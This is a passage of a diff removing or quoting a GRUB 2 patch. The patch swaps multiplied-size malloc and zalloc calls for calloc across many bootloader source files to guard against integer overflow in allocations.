- return grub_error (GRUB_ERR_BAD_ARGUMENT, N_("filename expected"));
-
-- cutargs = grub_malloc (sizeof (cutargs[0]) * (argc - 1));
-+ cutargs = grub_calloc (argc - 1, sizeof (cutargs[0]));
- if (!cutargs)
- return grub_errno;
- cutargc = argc - 1;
-@@ -436,7 +436,7 @@ grub_cmd_legacy_kernel (struct grub_command *mycmd __attribute__ ((unused)),
- {
- char rbuf[3] = "-r";
- bsdargc = cutargc + 2;
-- bsdargs = grub_malloc (sizeof (bsdargs[0]) * bsdargc);
-+ bsdargs = grub_calloc (bsdargc, sizeof (bsdargs[0]));
- if (!bsdargs)
- {
- err = grub_errno;
-@@ -559,7 +559,7 @@ grub_cmd_legacy_initrdnounzip (struct grub_command *mycmd __attribute__ ((unused
- return grub_error (GRUB_ERR_BAD_ARGUMENT, N_("can't find command `%s'"),
- "module");
-
-- newargs = grub_malloc ((argc + 1) * sizeof (newargs[0]));
-+ newargs = grub_calloc (argc + 1, sizeof (newargs[0]));
- if (!newargs)
- return grub_errno;
- grub_memcpy (newargs + 1, args, argc * sizeof (newargs[0]));
-diff --git a/grub-core/commands/menuentry.c b/grub-core/commands/menuentry.c
-index 2c5363d..9164df7 100644
---- a/grub-core/commands/menuentry.c
-+++ b/grub-core/commands/menuentry.c
-@@ -154,7 +154,7 @@ grub_normal_add_menu_entry (int argc, const char **args,
- goto fail;
-
- /* Save argc, args to pass as parameters to block arg later. */
-- menu_args = grub_malloc (sizeof (char*) * (argc + 1));
-+ menu_args = grub_calloc (argc + 1, sizeof (char *));
- if (! menu_args)
- goto fail;
-
-diff --git a/grub-core/commands/nativedisk.c b/grub-core/commands/nativedisk.c
-index 699447d..7c8f97f 100644
---- a/grub-core/commands/nativedisk.c
-+++ b/grub-core/commands/nativedisk.c
-@@ -195,7 +195,7 @@ grub_cmd_nativedisk (grub_command_t cmd __attribute__ ((unused)),
- else
- path_prefix = prefix;
-
-- mods = grub_malloc (argc * sizeof (mods[0]));
-+ mods = grub_calloc (argc, sizeof (mods[0]));
- if (!mods)
- return grub_errno;
-
-diff --git a/grub-core/commands/parttool.c b/grub-core/commands/parttool.c
-index 22b46b1..051e313 100644
---- a/grub-core/commands/parttool.c
-+++ b/grub-core/commands/parttool.c
-@@ -59,7 +59,13 @@ grub_parttool_register(const char *part_name,
- for (nargs = 0; args[nargs].name != 0; nargs++);
- cur->nargs = nargs;
- cur->args = (struct grub_parttool_argdesc *)
-- grub_malloc ((nargs + 1) * sizeof (struct grub_parttool_argdesc));
-+ grub_calloc (nargs + 1, sizeof (struct grub_parttool_argdesc));
-+ if (!cur->args)
-+ {
-+ grub_free (cur);
-+ curhandle--;
-+ return -1;
-+ }
- grub_memcpy (cur->args, args,
- (nargs + 1) * sizeof (struct grub_parttool_argdesc));
-
-@@ -257,7 +263,7 @@ grub_cmd_parttool (grub_command_t cmd __attribute__ ((unused)),
- return err;
- }
-
-- parsed = (int *) grub_zalloc (argc * sizeof (int));
-+ parsed = (int *) grub_calloc (argc, sizeof (int));
-
- for (i = 1; i < argc; i++)
- if (! parsed[i])
-@@ -290,7 +296,7 @@ grub_cmd_parttool (grub_command_t cmd __attribute__ ((unused)),
- }
- ptool = cur;
- pargs = (struct grub_parttool_args *)
-- grub_zalloc (ptool->nargs * sizeof (struct grub_parttool_args));
-+ grub_calloc (ptool->nargs, sizeof (struct grub_parttool_args));
- for (j = i; j < argc; j++)
- if (! parsed[j])
- {
-diff --git a/grub-core/commands/regexp.c b/grub-core/commands/regexp.c
-index f00b184..4019164 100644
---- a/grub-core/commands/regexp.c
-+++ b/grub-core/commands/regexp.c
-@@ -116,7 +116,7 @@ grub_cmd_regexp (grub_extcmd_context_t ctxt, int argc, char **args)
- if (ret)
- goto fail;
-
-- matches = grub_zalloc (sizeof (*matches) * (regex.re_nsub + 1));
-+ matches = grub_calloc (regex.re_nsub + 1, sizeof (*matches));
- if (! matches)
- goto fail;
-
-diff --git a/grub-core/commands/search_wrap.c b/grub-core/commands/search_wrap.c
-index d7fd26b..47fc8eb 100644
---- a/grub-core/commands/search_wrap.c
-+++ b/grub-core/commands/search_wrap.c
-@@ -122,7 +122,7 @@ grub_cmd_search (grub_extcmd_context_t ctxt, int argc, char **args)
- for (i = 0; state[SEARCH_HINT_BAREMETAL].args[i]; i++)
- nhints++;
-
-- hints = grub_malloc (sizeof (hints[0]) * nhints);
-+ hints = grub_calloc (nhints, sizeof (hints[0]));
- if (!hints)
- return grub_errno;
- j = 0;
-diff --git a/grub-core/disk/diskfilter.c b/grub-core/disk/diskfilter.c
-index c3b578a..68ca9e0 100644
---- a/grub-core/disk/diskfilter.c
-+++ b/grub-core/disk/diskfilter.c
-@@ -1134,7 +1134,7 @@ grub_diskfilter_make_raid (grub_size_t uuidlen, char *uuid, int nmemb,
- array->lvs->segments->node_count = nmemb;
- array->lvs->segments->raid_member_size = disk_size;
- array->lvs->segments->nodes
-- = grub_zalloc (nmemb * sizeof (array->lvs->segments->nodes[0]));
-+ = grub_calloc (nmemb, sizeof (array->lvs->segments->nodes[0]));
- array->lvs->segments->stripe_size = stripe_size;
- for (i = 0; i < nmemb; i++)
- {
-@@ -1226,7 +1226,7 @@ insert_array (grub_disk_t disk, const struct grub_diskfilter_pv_id *id,
- grub_partition_t p;
- for (p = disk->partition; p; p = p->parent)
- s++;
-- pv->partmaps = xmalloc (s * sizeof (pv->partmaps[0]));
-+ pv->partmaps = xcalloc (s, sizeof (pv->partmaps[0]));
- s = 0;
- for (p = disk->partition; p; p = p->parent)
- pv->partmaps[s++] = xstrdup (p->partmap->name);
-diff --git a/grub-core/disk/ieee1275/ofdisk.c b/grub-core/disk/ieee1275/ofdisk.c
-index f73257e..03674cb 100644
---- a/grub-core/disk/ieee1275/ofdisk.c
-+++ b/grub-core/disk/ieee1275/ofdisk.c
-@@ -297,7 +297,7 @@ dev_iterate (const struct grub_ieee1275_devalias *alias)
- /* Power machines documentation specify 672 as maximum SAS disks in
- one system. Using a slightly larger value to be safe. */
- table_size = 768;
-- table = grub_malloc (table_size * sizeof (grub_uint64_t));
-+ table = grub_calloc (table_size, sizeof (grub_uint64_t));
-
- if (!table)
- {
-diff --git a/grub-core/disk/ldm.c b/grub-core/disk/ldm.c
-index 2a22d2d..e632370 100644
---- a/grub-core/disk/ldm.c
-+++ b/grub-core/disk/ldm.c
-@@ -323,8 +323,8 @@ make_vg (grub_disk_t disk,
- lv->segments->type = GRUB_DISKFILTER_MIRROR;
- lv->segments->node_count = 0;
- lv->segments->node_alloc = 8;
-- lv->segments->nodes = grub_zalloc (sizeof (*lv->segments->nodes)
-- * lv->segments->node_alloc);
-+ lv->segments->nodes = grub_calloc (lv->segments->node_alloc,
-+ sizeof (*lv->segments->nodes));
- if (!lv->segments->nodes)
- goto fail2;
- ptr = vblk[i].dynamic;
-@@ -543,8 +543,8 @@ make_vg (grub_disk_t disk,
- {
- comp->segment_alloc = 8;
- comp->segment_count = 0;
-- comp->segments = grub_malloc (sizeof (*comp->segments)
-- * comp->segment_alloc);
-+ comp->segments = grub_calloc (comp->segment_alloc,
-+ sizeof (*comp->segments));
- if (!comp->segments)
- goto fail2;
- }
-@@ -590,8 +590,8 @@ make_vg (grub_disk_t disk,
- }
- comp->segments->node_count = read_int (ptr + 1, *ptr);
- comp->segments->node_alloc = comp->segments->node_count;
-- comp->segments->nodes = grub_zalloc (sizeof (*comp->segments->nodes)
-- * comp->segments->node_alloc);
-+ comp->segments->nodes = grub_calloc (comp->segments->node_alloc,
-+ sizeof (*comp->segments->nodes));
- if (!lv->segments->nodes)
- goto fail2;
- }
-@@ -1017,7 +1017,7 @@ grub_util_ldm_embed (struct grub_disk *disk, unsigned int *nsectors,
- *nsectors = lv->size;
- if (*nsectors > max_nsectors)
- *nsectors = max_nsectors;
-- *sectors = grub_malloc (*nsectors * sizeof (**sectors));
-+ *sectors = grub_calloc (*nsectors, sizeof (**sectors));
- if (!*sectors)
- return grub_errno;
- for (i = 0; i < *nsectors; i++)
-diff --git a/grub-core/disk/luks.c b/grub-core/disk/luks.c
-index 86c50c6..18b3a8b 100644
---- a/grub-core/disk/luks.c
-+++ b/grub-core/disk/luks.c
-@@ -336,7 +336,7 @@ luks_recover_key (grub_disk_t source,
- && grub_be_to_cpu32 (header.keyblock[i].stripes) > max_stripes)
- max_stripes = grub_be_to_cpu32 (header.keyblock[i].stripes);
-
-- split_key = grub_malloc (keysize * max_stripes);
-+ split_key = grub_calloc (keysize, max_stripes);
- if (!split_key)
- return grub_errno;
-
-diff --git a/grub-core/disk/lvm.c b/grub-core/disk/lvm.c
-index dc6b83b..7b5fbbc 100644
---- a/grub-core/disk/lvm.c
-+++ b/grub-core/disk/lvm.c
-@@ -209,7 +209,7 @@ grub_lvm_detect (grub_disk_t disk,
- first one. */
-
- /* Allocate buffer space for the circular worst-case scenario. */
-- metadatabuf = grub_malloc (2 * mda_size);
-+ metadatabuf = grub_calloc (2, mda_size);
- if (! metadatabuf)
- goto fail;
-
-@@ -464,7 +464,7 @@ grub_lvm_detect (grub_disk_t disk,
- #endif
- goto lvs_fail;
- }
-- lv->segments = grub_zalloc (sizeof (*seg) * lv->segment_count);
-+ lv->segments = grub_calloc (lv->segment_count, sizeof (*seg));
- seg = lv->segments;
-
- for (i = 0; i < lv->segment_count; i++)
-@@ -521,8 +521,8 @@ grub_lvm_detect (grub_disk_t disk,
- if (seg->node_count != 1)
- seg->stripe_size = grub_lvm_getvalue (&p, "stripe_size = ");
-
-- seg->nodes = grub_zalloc (sizeof (*stripe)
-- * seg->node_count);
-+ seg->nodes = grub_calloc (seg->node_count,
-+ sizeof (*stripe));
- stripe = seg->nodes;
-
- p = grub_strstr (p, "stripes = [");
-@@ -898,7 +898,7 @@ grub_lvm_detect (grub_disk_t disk,
- break;
- if (lv)
- {
-- cache->lv->segments = grub_malloc (lv->segment_count * sizeof (*lv->segments));
-+ cache->lv->segments = grub_calloc (lv->segment_count, sizeof (*lv->segments));
- if (!cache->lv->segments)
- {
- grub_lvm_free_cache_lvs (cache_lvs);
-@@ -911,7 +911,7 @@ grub_lvm_detect (grub_disk_t disk,
- struct grub_diskfilter_node *nodes = lv->segments[i].nodes;
- grub_size_t node_count = lv->segments[i].node_count;
-
-- cache->lv->segments[i].nodes = grub_malloc (node_count * sizeof (*nodes));
-+ cache->lv->segments[i].nodes = grub_calloc (node_count, sizeof (*nodes));
- if (!cache->lv->segments[i].nodes)
- {
- for (j = 0; j < i; ++j)
-diff --git a/grub-core/disk/xen/xendisk.c b/grub-core/disk/xen/xendisk.c
-index 48476cb..d6612ee 100644
---- a/grub-core/disk/xen/xendisk.c
-+++ b/grub-core/disk/xen/xendisk.c
-@@ -426,7 +426,7 @@ grub_xendisk_init (void)
- if (!ctr)
- return;
-
-- virtdisks = grub_malloc (ctr * sizeof (virtdisks[0]));
-+ virtdisks = grub_calloc (ctr, sizeof (virtdisks[0]));
- if (!virtdisks)
- return;
- if (grub_xenstore_dir ("device/vbd", fill, &ctr))
-diff --git a/grub-core/efiemu/loadcore.c b/grub-core/efiemu/loadcore.c
-index 44085ef..2b92462 100644
---- a/grub-core/efiemu/loadcore.c
-+++ b/grub-core/efiemu/loadcore.c
-@@ -201,7 +201,7 @@ grub_efiemu_count_symbols (const Elf_Ehdr *e)
-
- grub_efiemu_nelfsyms = (unsigned) s->sh_size / (unsigned) s->sh_entsize;
- grub_efiemu_elfsyms = (struct grub_efiemu_elf_sym *)
-- grub_malloc (sizeof (struct grub_efiemu_elf_sym) * grub_efiemu_nelfsyms);
-+ grub_calloc (grub_efiemu_nelfsyms, sizeof (struct grub_efiemu_elf_sym));
-
- /* Relocators */
- for (i = 0, s = (Elf_Shdr *) ((char *) e + e->e_shoff);
-diff --git a/grub-core/efiemu/mm.c b/grub-core/efiemu/mm.c
-index 52a032f..9b8e0d0 100644
---- a/grub-core/efiemu/mm.c
-+++ b/grub-core/efiemu/mm.c
-@@ -554,11 +554,11 @@ grub_efiemu_mmap_sort_and_uniq (void)
- /* Initialize variables*/
- grub_memset (present, 0, sizeof (int) * GRUB_EFI_MAX_MEMORY_TYPE);
- scanline_events = (struct grub_efiemu_mmap_scan *)
-- grub_malloc (sizeof (struct grub_efiemu_mmap_scan) * 2 * mmap_num);
-+ grub_calloc (mmap_num, sizeof (struct grub_efiemu_mmap_scan) * 2);
-
- /* Number of chunks can't increase more than by factor of 2 */
- result = (grub_efi_memory_descriptor_t *)
-- grub_malloc (sizeof (grub_efi_memory_descriptor_t) * 2 * mmap_num);
-+ grub_calloc (mmap_num, sizeof (grub_efi_memory_descriptor_t) * 2);
- if (!result || !scanline_events)
- {
- grub_free (result);
-@@ -660,7 +660,7 @@ grub_efiemu_mm_do_alloc (void)
-
- /* Preallocate mmap */
- efiemu_mmap = (grub_efi_memory_descriptor_t *)
-- grub_malloc (mmap_reserved_size * sizeof (grub_efi_memory_descriptor_t));
-+ grub_calloc (mmap_reserved_size, sizeof (grub_efi_memory_descriptor_t));
- if (!efiemu_mmap)
- {
- grub_efiemu_unload ();
-diff --git a/grub-core/font/font.c b/grub-core/font/font.c
-index 85a2925..8e118b3 100644
---- a/grub-core/font/font.c
-+++ b/grub-core/font/font.c
-@@ -293,8 +293,7 @@ load_font_index (grub_file_t file, grub_uint32_t sect_length, struct
- font->num_chars = sect_length / FONT_CHAR_INDEX_ENTRY_SIZE;
-
- /* Allocate the character index array. */
-- font->char_index = grub_malloc (font->num_chars
-- * sizeof (struct char_index_entry));
-+ font->char_index = grub_calloc (font->num_chars, sizeof (struct char_index_entry));
- if (!font->char_index)
- return 1;
- font->bmp_idx = grub_malloc (0x10000 * sizeof (grub_uint16_t));
-diff --git a/grub-core/fs/affs.c b/grub-core/fs/affs.c
-index 6b6a2bc..220b371 100644
---- a/grub-core/fs/affs.c
-+++ b/grub-core/fs/affs.c
-@@ -301,7 +301,7 @@ grub_affs_read_symlink (grub_fshelp_node_t node)
- return 0;
- }
- latin1[symlink_size] = 0;
-- utf8 = grub_malloc (symlink_size * GRUB_MAX_UTF8_PER_LATIN1 + 1);
-+ utf8 = grub_calloc (GRUB_MAX_UTF8_PER_LATIN1 + 1, symlink_size);
- if (!utf8)
- {
- grub_free (latin1);
-@@ -422,7 +422,7 @@ grub_affs_iterate_dir (grub_fshelp_node_t dir,
- return 1;
- }
-
-- hashtable = grub_zalloc (data->htsize * sizeof (*hashtable));
-+ hashtable = grub_calloc (data->htsize, sizeof (*hashtable));
- if (!hashtable)
- return 1;
-
-@@ -628,7 +628,7 @@ grub_affs_label (grub_device_t device, char **label)
- len = file.namelen;
- if (len > sizeof (file.name))
- len = sizeof (file.name);
-- *label = grub_malloc (len * GRUB_MAX_UTF8_PER_LATIN1 + 1);
-+ *label = grub_calloc (GRUB_MAX_UTF8_PER_LATIN1 + 1, len);
- if (*label)
- *grub_latin1_to_utf8 ((grub_uint8_t *) *label, file.name, len) = '\0';
- }
-diff --git a/grub-core/fs/btrfs.c b/grub-core/fs/btrfs.c
-index 48bd3d0..11272ef 100644
---- a/grub-core/fs/btrfs.c
-+++ b/grub-core/fs/btrfs.c
-@@ -413,7 +413,7 @@ lower_bound (struct grub_btrfs_data *data,
- {
- desc->allocated = 16;
- desc->depth = 0;
-- desc->data = grub_malloc (sizeof (desc->data[0]) * desc->allocated);
-+ desc->data = grub_calloc (desc->allocated, sizeof (desc->data[0]));
- if (!desc->data)
- return grub_errno;
- }
-@@ -752,7 +752,7 @@ raid56_read_retry (struct grub_btrfs_data *data,
- grub_err_t ret = GRUB_ERR_OUT_OF_MEMORY;
- grub_uint64_t i, failed_devices;
-
-- buffers = grub_zalloc (sizeof(*buffers) * nstripes);
-+ buffers = grub_calloc (nstripes, sizeof (*buffers));
- if (!buffers)
- goto cleanup;
-
-@@ -2160,7 +2160,7 @@ grub_btrfs_embed (grub_device_t device __attribute__ ((unused)),
- *nsectors = 64 * 2 - 1;
- if (*nsectors > max_nsectors)
- *nsectors = max_nsectors;
-- *sectors = grub_malloc (*nsectors * sizeof (**sectors));
-+ *sectors = grub_calloc (*nsectors, sizeof (**sectors));
- if (!*sectors)
- return grub_errno;
- for (i = 0; i < *nsectors; i++)
-diff --git a/grub-core/fs/hfs.c b/grub-core/fs/hfs.c
-index ac0a409..3fe842b 100644
---- a/grub-core/fs/hfs.c
-+++ b/grub-core/fs/hfs.c
-@@ -1360,7 +1360,7 @@ grub_hfs_label (grub_device_t device, char **label)
- grub_size_t len = data->sblock.volname[0];
- if (len > sizeof (data->sblock.volname) - 1)
- len = sizeof (data->sblock.volname) - 1;
-- *label = grub_malloc (len * MAX_UTF8_PER_MAC_ROMAN + 1);
-+ *label = grub_calloc (MAX_UTF8_PER_MAC_ROMAN + 1, len);
- if (*label)
- macroman_to_utf8 (*label, data->sblock.volname + 1,
- len + 1, 0);
-diff --git a/grub-core/fs/hfsplus.c b/grub-core/fs/hfsplus.c
-index 54786bb..dae43be 100644
---- a/grub-core/fs/hfsplus.c
-+++ b/grub-core/fs/hfsplus.c
-@@ -720,7 +720,7 @@ list_nodes (void *record, void *hook_arg)
- if (! filename)
- return 0;
-
-- keyname = grub_malloc (grub_be_to_cpu16 (catkey->namelen) * sizeof (*keyname));
-+ keyname = grub_calloc (grub_be_to_cpu16 (catkey->namelen), sizeof (*keyname));
- if (!keyname)
- {
- grub_free (filename);
-@@ -1007,7 +1007,7 @@ grub_hfsplus_label (grub_device_t device, char **label)
- grub_hfsplus_btree_recptr (&data->catalog_tree, node, ptr);
-
- label_len = grub_be_to_cpu16 (catkey->namelen);
-- label_name = grub_malloc (label_len * sizeof (*label_name));
-+ label_name = grub_calloc (label_len, sizeof (*label_name));
- if (!label_name)
- {
- grub_free (node);
-@@ -1029,7 +1029,7 @@ grub_hfsplus_label (grub_device_t device, char **label)
- }
- }
-
-- *label = grub_malloc (label_len * GRUB_MAX_UTF8_PER_UTF16 + 1);
-+ *label = grub_calloc (label_len, GRUB_MAX_UTF8_PER_UTF16 + 1);
- if (! *label)
- {
- grub_free (label_name);
-diff --git a/grub-core/fs/iso9660.c b/grub-core/fs/iso9660.c
-index 49c0c63..4f1b52a 100644
---- a/grub-core/fs/iso9660.c
-+++ b/grub-core/fs/iso9660.c
-@@ -331,7 +331,7 @@ grub_iso9660_convert_string (grub_uint8_t *us, int len)
- int i;
- grub_uint16_t t[MAX_NAMELEN / 2 + 1];
-
-- p = grub_malloc (len * GRUB_MAX_UTF8_PER_UTF16 + 1);
-+ p = grub_calloc (len, GRUB_MAX_UTF8_PER_UTF16 + 1);
- if (! p)
- return NULL;
-
-diff --git a/grub-core/fs/ntfs.c b/grub-core/fs/ntfs.c
-index fc4e1f6..2f34f76 100644
---- a/grub-core/fs/ntfs.c
-+++ b/grub-core/fs/ntfs.c
-@@ -556,8 +556,8 @@ get_utf8 (grub_uint8_t *in, grub_size_t len)
- grub_uint16_t *tmp;
- grub_size_t i;
-
-- buf = grub_malloc (len * GRUB_MAX_UTF8_PER_UTF16 + 1);
-- tmp = grub_malloc (len * sizeof (tmp[0]));
-+ buf = grub_calloc (len, GRUB_MAX_UTF8_PER_UTF16 + 1);
-+ tmp = grub_calloc (len, sizeof (tmp[0]));
- if (!buf || !tmp)
- {
- grub_free (buf);
-diff --git a/grub-core/fs/sfs.c b/grub-core/fs/sfs.c
-index 50c1fe7..90f7fb3 100644
---- a/grub-core/fs/sfs.c
-+++ b/grub-core/fs/sfs.c
-@@ -266,7 +266,7 @@ grub_sfs_read_block (grub_fshelp_node_t node, grub_disk_addr_t fileblock)
- node->next_extent = node->block;
- node->cache_size = 0;
-
-- node->cache = grub_malloc (sizeof (node->cache[0]) * cache_size);
-+ node->cache = grub_calloc (cache_size, sizeof (node->cache[0]));
- if (!node->cache)
- {
- grub_errno = 0;
-diff --git a/grub-core/fs/tar.c b/grub-core/fs/tar.c
-index 7d63e0c..c551ed6 100644
---- a/grub-core/fs/tar.c
-+++ b/grub-core/fs/tar.c
-@@ -120,7 +120,7 @@ grub_cpio_find_file (struct grub_archelp_data *data, char **name,
- if (data->linkname_alloc < linksize + 1)
- {
- char *n;
-- n = grub_malloc (2 * (linksize + 1));
-+ n = grub_calloc (2, linksize + 1);
- if (!n)
- return grub_errno;
- grub_free (data->linkname);
-diff --git a/grub-core/fs/udf.c b/grub-core/fs/udf.c
-index dc8b6e2..a837616 100644
---- a/grub-core/fs/udf.c
-+++ b/grub-core/fs/udf.c
-@@ -873,7 +873,7 @@ read_string (const grub_uint8_t *raw, grub_size_t sz, char *outbuf)
- {
- unsigned i;
- utf16len = sz - 1;
-- utf16 = grub_malloc (utf16len * sizeof (utf16[0]));
-+ utf16 = grub_calloc (utf16len, sizeof (utf16[0]));
- if (!utf16)
- return NULL;
- for (i = 0; i < utf16len; i++)
-@@ -883,7 +883,7 @@ read_string (const grub_uint8_t *raw, grub_size_t sz, char *outbuf)
- {
- unsigned i;
- utf16len = (sz - 1) / 2;
-- utf16 = grub_malloc (utf16len * sizeof (utf16[0]));
-+ utf16 = grub_calloc (utf16len, sizeof (utf16[0]));
- if (!utf16)
- return NULL;
- for (i = 0; i < utf16len; i++)
-diff --git a/grub-core/fs/zfs/zfs.c b/grub-core/fs/zfs/zfs.c
-index 2f72e42..381dde5 100644
---- a/grub-core/fs/zfs/zfs.c
-+++ b/grub-core/fs/zfs/zfs.c
-@@ -3325,7 +3325,7 @@ dnode_get_fullpath (const char *fullpath, struct subvolume *subvol,
- }
- subvol->nkeys = 0;
- zap_iterate (&keychain_dn, 8, count_zap_keys, &ctx, data);
-- subvol->keyring = grub_zalloc (subvol->nkeys * sizeof (subvol->keyring[0]));
-+ subvol->keyring = grub_calloc (subvol->nkeys, sizeof (subvol->keyring[0]));
- if (!subvol->keyring)
- {
- grub_free (fsname);
-@@ -4336,7 +4336,7 @@ grub_zfs_embed (grub_device_t device __attribute__ ((unused)),
- *nsectors = (VDEV_BOOT_SIZE >> GRUB_DISK_SECTOR_BITS);
- if (*nsectors > max_nsectors)
- *nsectors = max_nsectors;
-- *sectors = grub_malloc (*nsectors * sizeof (**sectors));
-+ *sectors = grub_calloc (*nsectors, sizeof (**sectors));
- if (!*sectors)
- return grub_errno;
- for (i = 0; i < *nsectors; i++)
-diff --git a/grub-core/gfxmenu/gui_string_util.c b/grub-core/gfxmenu/gui_string_util.c
-index a9a415e..ba1e1ea 100644
---- a/grub-core/gfxmenu/gui_string_util.c
-+++ b/grub-core/gfxmenu/gui_string_util.c
-@@ -55,7 +55,7 @@ canonicalize_path (const char *path)
- if (*p == '/')
- components++;
-
-- char **path_array = grub_malloc (components * sizeof (*path_array));
-+ char **path_array = grub_calloc (components, sizeof (*path_array));
- if (! path_array)
- return 0;
-
-diff --git a/grub-core/gfxmenu/widget-box.c b/grub-core/gfxmenu/widget-box.c
-index b606028..470597d 100644
---- a/grub-core/gfxmenu/widget-box.c
-+++ b/grub-core/gfxmenu/widget-box.c
-@@ -303,10 +303,10 @@ grub_gfxmenu_create_box (const char *pixmaps_prefix,
- box->content_height = 0;
- box->raw_pixmaps =
- (struct grub_video_bitmap **)
-- grub_malloc (BOX_NUM_PIXMAPS * sizeof (struct grub_video_bitmap *));
-+ grub_calloc (BOX_NUM_PIXMAPS, sizeof (struct grub_video_bitmap *));
- box->scaled_pixmaps =
- (struct grub_video_bitmap **)
-- grub_malloc (BOX_NUM_PIXMAPS * sizeof (struct grub_video_bitmap *));
-+ grub_calloc (BOX_NUM_PIXMAPS, sizeof (struct grub_video_bitmap *));
-
- /* Initialize all pixmap pointers to NULL so that proper destruction can
- be performed if an error is encountered partway through construction. */
-diff --git a/grub-core/io/gzio.c b/grub-core/io/gzio.c
-index 6208a97..43d98a7 100644
---- a/grub-core/io/gzio.c
-+++ b/grub-core/io/gzio.c
-@@ -554,7 +554,7 @@ huft_build (unsigned *b, /* code lengths in bits (all assumed <= BMAX) */
- z = 1 << j; /* table entries for j-bit table */
-
- /* allocate and link in new table */
-- q = (struct huft *) grub_zalloc ((z + 1) * sizeof (struct huft));
-+ q = (struct huft *) grub_calloc (z + 1, sizeof (struct huft));
- if (! q)
- {
- if (h)
-diff --git a/grub-core/kern/efi/efi.c b/grub-core/kern/efi/efi.c
-index 6e1ceb9..dc31caa 100644
---- a/grub-core/kern/efi/efi.c
-+++ b/grub-core/kern/efi/efi.c
-@@ -202,7 +202,7 @@ grub_efi_set_variable(const char *var, const grub_efi_guid_t *guid,
-
- len = grub_strlen (var);
- len16 = len * GRUB_MAX_UTF16_PER_UTF8;
-- var16 = grub_malloc ((len16 + 1) * sizeof (var16[0]));
-+ var16 = grub_calloc (len16 + 1, sizeof (var16[0]));
- if (!var16)
- return grub_errno;
- len16 = grub_utf8_to_utf16 (var16, len16, (grub_uint8_t *) var, len, NULL);
-@@ -237,7 +237,7 @@ grub_efi_get_variable (const char *var, const grub_efi_guid_t *guid,
-
- len = grub_strlen (var);
- len16 = len * GRUB_MAX_UTF16_PER_UTF8;
-- var16 = grub_malloc ((len16 + 1) * sizeof (var16[0]));
-+ var16 = grub_calloc (len16 + 1, sizeof (var16[0]));
- if (!var16)
- return NULL;
- len16 = grub_utf8_to_utf16 (var16, len16, (grub_uint8_t *) var, len, NULL);
-@@ -383,7 +383,7 @@ grub_efi_get_filename (grub_efi_device_path_t *dp0)
- while (len > 0 && fp->path_name[len - 1] == 0)
- len--;
-
-- dup_name = grub_malloc (len * sizeof (*dup_name));
-+ dup_name = grub_calloc (len, sizeof (*dup_name));
- if (!dup_name)
- {
- grub_free (name);
-diff --git a/grub-core/kern/emu/hostdisk.c b/grub-core/kern/emu/hostdisk.c
-index e9ec680..d975265 100644
---- a/grub-core/kern/emu/hostdisk.c
-+++ b/grub-core/kern/emu/hostdisk.c
-@@ -615,7 +615,7 @@ static char *
- grub_util_path_concat_real (size_t n, int ext, va_list ap)
- {
- size_t totlen = 0;
-- char **l = xmalloc ((n + ext) * sizeof (l[0]));
-+ char **l = xcalloc (n + ext, sizeof (l[0]));
- char *r, *p, *pi;
- size_t i;
- int first = 1;
-diff --git a/grub-core/kern/fs.c b/grub-core/kern/fs.c
-index 2b85f49..f90be65 100644
---- a/grub-core/kern/fs.c
-+++ b/grub-core/kern/fs.c
-@@ -151,7 +151,7 @@ grub_fs_blocklist_open (grub_file_t file, const char *name)
- while (p);
-
- /* Allocate a block list. */
-- blocks = grub_zalloc (sizeof (struct grub_fs_block) * (num + 1));
-+ blocks = grub_calloc (num + 1, sizeof (struct grub_fs_block));
- if (! blocks)
- return 0;
-
-diff --git a/grub-core/kern/misc.c b/grub-core/kern/misc.c
-index 3b633d5..a7abd36 100644
---- a/grub-core/kern/misc.c
-+++ b/grub-core/kern/misc.c
-@@ -690,7 +690,7 @@ parse_printf_args (const char *fmt0, struct printf_args *args,
- args->ptr = args->prealloc;
- else
- {
-- args->ptr = grub_malloc (args->count * sizeof (args->ptr[0]));
-+ args->ptr = grub_calloc (args->count, sizeof (args->ptr[0]));
- if (!args->ptr)
- {
- grub_errno = GRUB_ERR_NONE;
-diff --git a/grub-core/kern/parser.c b/grub-core/kern/parser.c
-index 78175aa..619db31 100644
---- a/grub-core/kern/parser.c
-+++ b/grub-core/kern/parser.c
-@@ -213,7 +213,7 @@ grub_parser_split_cmdline (const char *cmdline,
- return grub_errno;
- grub_memcpy (args, buffer, bp - buffer);
-
-- *argv = grub_malloc (sizeof (char *) * (*argc + 1));
-+ *argv = grub_calloc (*argc + 1, sizeof (char *));
- if (!*argv)
- {
- grub_free (args);
-diff --git a/grub-core/kern/uboot/uboot.c b/grub-core/kern/uboot/uboot.c
-index be4816f..aac8f9a 100644
---- a/grub-core/kern/uboot/uboot.c
-+++ b/grub-core/kern/uboot/uboot.c
-@@ -133,7 +133,7 @@ grub_uboot_dev_enum (void)
- return num_devices;
-
- max_devices = 2;
-- enum_devices = grub_malloc (sizeof(struct device_info) * max_devices);
-+ enum_devices = grub_calloc (max_devices, sizeof(struct device_info));
- if (!enum_devices)
- return 0;
-
-diff --git a/grub-core/lib/libgcrypt/cipher/ac.c b/grub-core/lib/libgcrypt/cipher/ac.c
-index f5e946a..63f6fcd 100644
---- a/grub-core/lib/libgcrypt/cipher/ac.c
-+++ b/grub-core/lib/libgcrypt/cipher/ac.c
-@@ -185,7 +185,7 @@ ac_data_mpi_copy (gcry_ac_mpi_t *data_mpis, unsigned int data_mpis_n,
- gcry_mpi_t mpi;
- char *label;
-
-- data_mpis_new = gcry_malloc (sizeof (*data_mpis_new) * data_mpis_n);
-+ data_mpis_new = gcry_calloc (data_mpis_n, sizeof (*data_mpis_new));
- if (! data_mpis_new)
- {
- err = gcry_error_from_errno (errno);
-@@ -572,7 +572,7 @@ _gcry_ac_data_to_sexp (gcry_ac_data_t data, gcry_sexp_t *sexp,
- }
-
- /* Add MPI list. */
-- arg_list = gcry_malloc (sizeof (*arg_list) * (data_n + 1));
-+ arg_list = gcry_calloc (data_n + 1, sizeof (*arg_list));
- if (! arg_list)
- {
- err = gcry_error_from_errno (errno);
-@@ -1283,7 +1283,7 @@ ac_data_construct (const char *identifier, int include_flags,
- /* We build a list of arguments to pass to
- gcry_sexp_build_array(). */
- data_length = _gcry_ac_data_length (data);
-- arg_list = gcry_malloc (sizeof (*arg_list) * (data_length * 2));
-+ arg_list = gcry_calloc (data_length, sizeof (*arg_list) * 2);
- if (! arg_list)
- {
- err = gcry_error_from_errno (errno);
-@@ -1593,7 +1593,7 @@ _gcry_ac_key_pair_generate (gcry_ac_handle_t handle, unsigned int nbits,
- arg_list_n += 2;
-
- /* Allocate list. */
-- arg_list = gcry_malloc (sizeof (*arg_list) * arg_list_n);
-+ arg_list = gcry_calloc (arg_list_n, sizeof (*arg_list));
- if (! arg_list)
- {
